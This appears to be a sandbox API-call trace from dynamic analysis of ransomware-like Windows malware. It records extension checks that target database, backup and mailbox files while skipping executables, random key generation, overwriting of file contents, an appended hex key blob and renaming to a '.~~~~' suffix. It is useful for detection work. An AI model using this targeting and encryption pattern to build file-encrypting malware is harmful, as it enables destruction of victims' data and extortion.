	[0137.944] lstrlenW (lpString=".vhd") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".vhd") returned 0x0
	[0137.944] lstrlenW (lpString=".bac") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".bac") returned 0x0
	[0137.944] lstrlenW (lpString=".mdf") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".mdf") returned 0x0
	[0137.944] lstrlenW (lpString=".BAK") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".BAK") returned 0x0
	[0137.944] lstrlenW (lpString=".BAC") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".BAC") returned 0x0
	[0137.944] lstrlenW (lpString=".dbs") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dbs") returned 0x0
	[0137.944] lstrlenW (lpString=".vhdx") returned 5
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".vhdx") returned 0x0
	[0137.944] lstrlenW (lpString=".NDF") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".NDF") returned 0x0
	[0137.944] lstrlenW (lpString=".dat") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dat") returned 0x0
	[0137.944] lstrlenW (lpString=".DBS") returned 4
	[0137.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DBS") returned 0x0
	[0137.944] lstrlenW (lpString=".CKP") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".CKP") returned 0x0
	[0137.945] lstrlenW (lpString=".edb") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".edb") returned 0x0
	[0137.945] lstrlenW (lpString=".PST") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".PST") returned 0x0
	[0137.945] lstrlenW (lpString=".dbf") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dbf") returned 0x0
	[0137.945] lstrlenW (lpString=".SQL") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".SQL") returned 0x0
	[0137.945] lstrlenW (lpString=".pst") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".pst") returned 0x0
	[0137.945] lstrlenW (lpString=".dbv") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dbv") returned 0x0
	[0137.945] lstrlenW (lpString=".SDF") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".SDF") returned 0x0
	[0137.945] lstrlenW (lpString=".dtxs") returned 5
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dtxs") returned 0x0
	[0137.945] lstrlenW (lpString=".db3") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".db3") returned 0x0
	[0137.945] lstrlenW (lpString=".OST") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".OST") returned 0x0
	[0137.945] lstrlenW (lpString=".dbx") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dbx") returned 0x0
	[0137.945] lstrlenW (lpString=".DB3") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DB3") returned 0x0
	[0137.945] lstrlenW (lpString=".DAT") returned 4
	[0137.945] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DAT") returned 0x0
	[0137.946] lstrlenW (lpString=".VHDX") returned 5
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".VHDX") returned 0x0
	[0137.946] lstrlenW (lpString=".ndf") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".ndf") returned 0x0
	[0137.946] lstrlenW (lpString=".DB") returned 3
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DB") returned 0x0
	[0137.946] lstrlenW (lpString=".sql") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".sql") returned 0x0
	[0137.946] lstrlenW (lpString=".MYD") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".MYD") returned 0x0
	[0137.946] lstrlenW (lpString=".DBT") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DBT") returned 0x0
	[0137.946] lstrlenW (lpString=".ACCDB") returned 6
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.946] lstrlenW (lpString=".fdb") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".fdb") returned 0x0
	[0137.946] lstrlenW (lpString=".bak") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".bak") returned 0x0
	[0137.946] lstrlenW (lpString=".myd") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".myd") returned 0x0
	[0137.946] lstrlenW (lpString=".DTXS") returned 5
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".DTXS") returned 0x0
	[0137.946] lstrlenW (lpString=".ckp") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".ckp") returned 0x0
	[0137.946] lstrlenW (lpString=".dbt") returned 4
	[0137.946] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".dbt") returned 0x0
	[0137.946] lstrlenW (lpString=".db") returned 3
	[0137.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".db") returned 0x0
	[0137.947] lstrlenW (lpString=".TXT") returned 4
	[0137.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".TXT") returned 0x0
	[0137.947] lstrlenW (lpString=".MDF") returned 4
	[0137.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".MDF") returned 0x0
	[0137.947] lstrlenW (lpString=".bdb") returned 4
	[0137.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".bdb") returned 0x0
	[0137.947] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.947] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0137.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.947] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0137.948] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.948] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0137.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0137.948] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25793854807) returned 1
	[0137.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbbaaff90, dwHighDateTime=0x1d60e1e)) 
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e50e0
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e50e0 | out: hHeap=0x300000) returned 1
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceab8
	[0137.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0137.949] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0137.949] GetLastError () returned 0x0
	[0137.950] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0137.950] GetLastError () returned 0x0
	[0138.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.076] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.077] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.077] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.078] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.078] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.078] CloseHandle (hObject=0x114) returned 1
	[0138.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ced58
	[0138.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME03.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme03.css.~~~~")) returned 1
	[0138.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ced58 | out: hHeap=0x300000) returned 1
	[0138.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.081] GetLastError () returned 0x0
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".scr") returned 0x0
	[0138.081] lstrlenW (lpString=".cmd") returned 4
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".cmd") returned 0x0
	[0138.081] lstrlenW (lpString=".dll") returned 4
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dll") returned 0x0
	[0138.081] lstrlenW (lpString=".bat") returned 4
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".bat") returned 0x0
	[0138.081] lstrlenW (lpString=".cpl") returned 4
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".cpl") returned 0x0
	[0138.081] lstrlenW (lpString=".sys") returned 4
	[0138.081] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".sys") returned 0x0
	[0138.082] lstrlenW (lpString=".msc") returned 4
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".msc") returned 0x0
	[0138.082] lstrlenW (lpString=".com") returned 4
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".com") returned 0x0
	[0138.082] lstrlenW (lpString=".lnk") returned 4
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".lnk") returned 0x0
	[0138.082] lstrlenW (lpString=".msp") returned 4
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".msp") returned 0x0
	[0138.082] lstrlenW (lpString=".pif") returned 4
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".pif") returned 0x0
	[0138.082] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.082] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme08.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.084] lstrlenW (lpString=".sqb") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".sqb") returned 0x0
	[0138.084] lstrlenW (lpString=".ost") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".ost") returned 0x0
	[0138.084] lstrlenW (lpString=".txt") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".txt") returned 0x0
	[0138.084] lstrlenW (lpString=".mdt") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".mdt") returned 0x0
	[0138.084] lstrlenW (lpString=".BDB") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".BDB") returned 0x0
	[0138.084] lstrlenW (lpString=".eql") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".eql") returned 0x0
	[0138.084] lstrlenW (lpString=".DBF") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DBF") returned 0x0
	[0138.084] lstrlenW (lpString=".EQL") returned 4
	[0138.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".EQL") returned 0x0
	[0138.085] lstrlenW (lpString=".FDB") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".FDB") returned 0x0
	[0138.085] lstrlenW (lpString=".EDB") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".EDB") returned 0x0
	[0138.085] lstrlenW (lpString=".DACPAC") returned 7
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.085] lstrlenW (lpString=".VHD") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".VHD") returned 0x0
	[0138.085] lstrlenW (lpString=".DBV") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DBV") returned 0x0
	[0138.085] lstrlenW (lpString=".dacpac") returned 7
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dacpac") returned 0x0
	[0138.085] lstrlenW (lpString=".sdf") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".sdf") returned 0x0
	[0138.085] lstrlenW (lpString=".accdb") returned 6
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".accdb") returned 0x0
	[0138.085] lstrlenW (lpString=".DBX") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DBX") returned 0x0
	[0138.085] lstrlenW (lpString=".MDT") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".MDT") returned 0x0
	[0138.085] lstrlenW (lpString=".SQB") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".SQB") returned 0x0
	[0138.085] lstrlenW (lpString=".vhd") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".vhd") returned 0x0
	[0138.085] lstrlenW (lpString=".bac") returned 4
	[0138.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".bac") returned 0x0
	[0138.085] lstrlenW (lpString=".mdf") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".mdf") returned 0x0
	[0138.086] lstrlenW (lpString=".BAK") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".BAK") returned 0x0
	[0138.086] lstrlenW (lpString=".BAC") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".BAC") returned 0x0
	[0138.086] lstrlenW (lpString=".dbs") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dbs") returned 0x0
	[0138.086] lstrlenW (lpString=".vhdx") returned 5
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".vhdx") returned 0x0
	[0138.086] lstrlenW (lpString=".NDF") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".NDF") returned 0x0
	[0138.086] lstrlenW (lpString=".dat") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dat") returned 0x0
	[0138.086] lstrlenW (lpString=".DBS") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".DBS") returned 0x0
	[0138.086] lstrlenW (lpString=".CKP") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".CKP") returned 0x0
	[0138.086] lstrlenW (lpString=".edb") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".edb") returned 0x0
	[0138.086] lstrlenW (lpString=".PST") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".PST") returned 0x0
	[0138.086] lstrlenW (lpString=".dbf") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dbf") returned 0x0
	[0138.086] lstrlenW (lpString=".SQL") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".SQL") returned 0x0
	[0138.086] lstrlenW (lpString=".pst") returned 4
	[0138.086] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".pst") returned 0x0
	[0138.086] lstrlenW (lpString=".dbv") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dbv") returned 0x0
	[0138.087] lstrlenW (lpString=".SDF") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".SDF") returned 0x0
	[0138.087] lstrlenW (lpString=".dtxs") returned 5
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dtxs") returned 0x0
	[0138.087] lstrlenW (lpString=".db3") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".db3") returned 0x0
	[0138.087] lstrlenW (lpString=".OST") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".OST") returned 0x0
	[0138.087] lstrlenW (lpString=".dbx") returned 4
	[0138.087] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME08.CSS", lpSrch=".dbx") returned 0x0
	[0138.087] lstrlenW (lpString=".DB3") returned 4
